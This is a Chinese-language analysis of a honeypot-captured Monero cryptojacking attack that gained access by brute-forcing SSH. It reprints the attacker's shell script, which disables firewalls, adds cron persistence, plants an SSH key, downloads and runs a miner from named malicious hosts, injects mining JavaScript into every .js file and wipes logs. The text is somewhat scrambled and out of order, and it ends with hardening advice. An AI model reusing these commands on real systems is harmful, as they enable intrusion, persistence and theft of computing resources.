XMR惡意挖礦案例簡析
前言
數字貨幣因其技術去中性化和經濟價值等屬性,逐漸成為大眾關註的焦點,同時通過惡意挖礦獲取數字貨幣是黑灰色產業獲取收益的重要途徑。本文簡析通過蜜罐獲取的XMR惡意挖礦事件:攻擊者通過爆破SSH獲取系統權限,配置root用戶免密登錄,並下載及執行XMR 挖礦程序,及XMR 網頁挖礦程序。XMR挖礦程序耗肉雞CPU/GPU資源,網頁挖礦程序耗訪問肉雞服務器JS 網頁的客戶端資源 。
2018年10月11日,攻擊者使用惡意IP(223.89.72.8)暴力破解Victim的SSH服務成功,獲取系統賬號權限。
2)關閉Victim的防火墻
通過暴力破解獲得的賬號登錄Victim並,進入工作目錄/tmp,並嘗試關閉主機防火墻。
root@victim:~#cd/tmp
3)下載惡意腳本
root@victim:~#/etc/init.d/iptablesstop
root@victim:~#serviceiptablesstop
root@victim:~#SuSefirewall2stop
root@victim:~#reSuSefirewall2stop
命令Victim從Malware Server(140.143.35.89:43768)下載惡意文件shz.sh:
root@victim:/tmp#wgethttp://140.143.35.89:43768/shz.sh
[4l--2018-10-1119:07:34--http://140.143.35.89:43768/shz.sh
Connectingto140.143.35.89:43768...connected.
HTTPrequestsent,awaitingresponse...200OK
Length:7470(7K)[application/octet-stream]
Savingto:`/tmp/shz.sh‘
58%[======================>]4,38041K/seta0s
100%[======================================>]7,47041K/s
2018-10-**:*:*(41KB/s)-`/tmp/shz.sh‘saved[7470/7470]
獲取Victim肉雞權限及下載惡意腳本後,命令Victim執行/tmp/shz.sh,下面簡析shz.sh的惡意行為。
1)開始執行 root@victim:/tmp#shshz.sh&
2)基本配置
獲取Victim的定時Crontab定時任務文件及內容,SSH登錄的公鑰,更改下載文件命令及變量定義等基本配置。
#!/bin/sh
#Crontab定時任務(crontab-e)
crondir=‘/var/spool/cron/‘"$USER"
cont=`cat${crondir}`
#SSH登錄公鑰
ssht=`cat/root/.ssh/authorized_keys`
#自定義變量
echo1>/etc/gmbpr
rtdir="/etc/gmbpr"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/url"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/get"
#更改命令名稱
mv/usr/bin/wget/usr/bin/get
mv/usr/bin/curl/usr/bin/url
如果文件/etc/gmbpr存在,即被暴力破解的賬號有/etc寫權限,一般root。設置工作目錄為/etc:
if[-f"$rtdir"]
3.1 定時任務+無密登錄
#將惡意腳本/etc/shz.sh加入系統crontab定時任務中
[[$cont=~"shz.sh"]]||echo"*****sh/etc/shz.sh>/dev/null2>&1">>${crondir}
#將攻擊者的SSH登錄公鑰加入authorized_key中,用於無密登錄ssh
[[$ssht=~"xvsRtqHLMWoh"]]||echo"ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfi
PAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqH
LMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8Ybq
gunZImJt+uLljgpP0ZHd1wGz+QSHEdAdministrator@Guess_me">>/root/.ssh/authorized_keys
3.2 惡意挖礦的配置文件
如果配置文件/etc/com.json不存在,則從http://140.143.35.89:43768/com.json下載至/etc/com.json。
cfg="/etc/com.json"
if[-f"$cfg"]
then
echo"existsconfig"
else
if[-f"$bbdir"]
then
curl--connect-timeout10--retry100http://140.143.35.89:43768/com.json>/et
c/com.json
elif[-f"$bbdira"]
/com.json
elif[-f"$ccdir"]
wget--timeout=10--tries=100-P/etchttp://140.143.35.89:43768/com.json
fi
fi
3.3 ELF挖礦主程序
從http://zjgw-1256891197.cos.ap-beijing.myqcloud.com下載惡意挖礦主程序zjgw至/etc。zjgw為elf格式的二進制文件。
if[-f"$bbdir"]
curl--connect-timeout10--retry100http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zjgw>/etc/zjgw
elif[-f"$bbdira"]
url--connect-timeout10--retry100http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zjgw>/etc/zjgw
elif[-f"$ccdir"]
wget--timeout=10--tries=100-P/etchttp://dwz.cn/hqCK3WKx
fi
3.4 運行惡意挖礦程序
挖礦程序zjgw+配置文件com.json:
chmod777zjgw
#com.json配置文件中將unknow替換成字符${ip}
sed-i"s/unknow/${ip}/g"com.json
sleep5s
#執行挖礦程序
./zjgw--config=com.json
#清除命令日誌痕跡
history-c
echo>/root/.bash_history
3.5 下載並運行shz.sh腳本文件
shdir=‘/etc/shz.sh‘
4)判斷賬號權限(普通權限)
if[-f"$shdir"]
echo"existsshell"
curl--connect-timeout10--retry100http://140.143.35.89:43768/shz.sh>/etc/shz.sh
wget--timeout=10--tries=100-P/etchttp://140.143.35.89:43768/shz.sh
sh/etc/shz.sh
fi
如果文件/etc/gmbpr不存在,即被暴力破解的賬號是常規用戶權限,添加啟動腳本至Crontab定時任務中。設置工作目錄為/tmp:
4.1)下載配置文件com.json至/tmp
4.2)下載挖礦主程序zjgw至/tmp
4.3)運行惡意挖礦程序+配置文件(同3.4)
4.4)下載並運行惡意腳本/tmp/shz.sh(同3.5)
5)Monero Javascript網頁挖礦
在Victim全盤查找js文件,並插入網頁挖礦JS腳本document.write(‘<script src=”http://t.cn/EvlonFh“></script><script>OMINEId(“e02cf4ce91284dab9bc3fc4cc2a65e28″,”-1″)</script>’);
find/-name‘*.js‘|xargsgrep-Lf4ce9|xargssed-i‘$a\document.write\(‘\‘\<script\src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\
6)清除痕跡
>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\‘\)\;
攻擊者清除攻擊日誌痕跡
echo>/var/spool/mail/root
三、執行ELF挖礦程序 1)挖礦配置文件com.json
echo>/var/log/wtmp
echo>/var/log/secure
通過配置文件查看到XMR數字貨幣的挖礦算法、挖礦地址和錢包地址等:
{
#XMR門羅幣的主要共識機制(挖礦算法):cryptonight
"algo":"cryptonight",
"api":{
"port":0,
"access-token":null,
"worker-id":null,
"ipv6":false,
"restricted":true
},
"av":0,
"background":true,
"colors":true,
"cpu-priority":5,
"donate-level":1,
"log-file":null,
"max-cpu-usage":90,
"pools":[
{
#挖礦地址
"url":"stratum+tcp://xmr.f2pool.com:13531",
#錢包地址
"user":
"46j2hc8eJbZZST8L4cpmLdjKKvWnggQVt9HRLYHsCKHUZbuok15X93ag9djxnt2mdpdJPRCsvuHzm92iahdpBxZa3FbBovX.unknow",
"pass":"x",
"keepalive":true,
"nicehash":false,
"variant":-1
],
"print-time":60,
"retries":99999,
"retry-pause":5,
"safe":false,
"syslog":false,
}
2)挖礦主程序zjgw
zjgw為64為的elf二進制文件,VirusTal檢出功能包含了挖礦功能。
截止當前,攻擊者惡意ELF程序使用f2pool礦池,上述錢包地址相關收益信息:
(1)164礦工正在線進行挖礦;
(2)共捕獲254礦工;
(3)此錢包地址總收益4.7XMR,按當前市場價格736RMB價格計算,約收獲3459RMB
(4)這些礦工,可能很多是攻擊者捕獲的肉雞;攻擊者也可能還有更多其他的錢包地址及肉雞礦工即進行獲益。
短網址指向https://xmr.omine.org/assets/v7.js
HTTP/1.1302Found
2)curl https://xmr.omine.org/assets/v7.js
Date:Mon,15Oct201808:02:12GMT
Content-Type:text/html;charset=UTF-8
Content-Length:216
Connection:keep-alive
Set-Cookie:aliyungf_tc=AQAAAN65sGSyOQcAihDut35iYAxQi2Sj;Path=/;HttpOnly
Server:nginx
Location:https://xmr.omine.org/assets/v7.js
javascript腳本文件,包含了礦池地址wss://xmr.ominie.org:8181:
假設攻擊者的JS網頁挖礦與ELF程序挖礦使用的同一個錢包46j2hc8eJbZZST8L4cpmLdjKKvWnggQVt9HRLYHsCKHUZbuok15X93ag9djxnt2mdpdJPRCsvuHzm92iahdpBxZa3FbBovX ,此處收益相對較少,有0.037個XMR。
攻擊者通過SSH暴力破解獲取系統賬號後,一方面通過下載及運行ELF二進制挖礦程序,利用系統CPU/GPU資源進行XMR(門羅幣)挖礦;另一方面,通過在系統裏面的JS文件中插入JS網頁挖礦的代碼,利用遠程訪問系統JS網頁的客戶端資源進行XMR網頁挖礦。建議措施:
http://3g.163.com/dy/article/DUIH9G5O05119F6V.html
(1)賬號加固;
(2)系統資源、網絡、進程監控;
(3)檢查系統是否有惡意資源濫用情況(ELF挖礦程序);
(4)檢查系統是否有惡意JS網頁挖礦腳本(網頁挖礦腳本);
(5)其他
XMR惡意挖礦案例簡析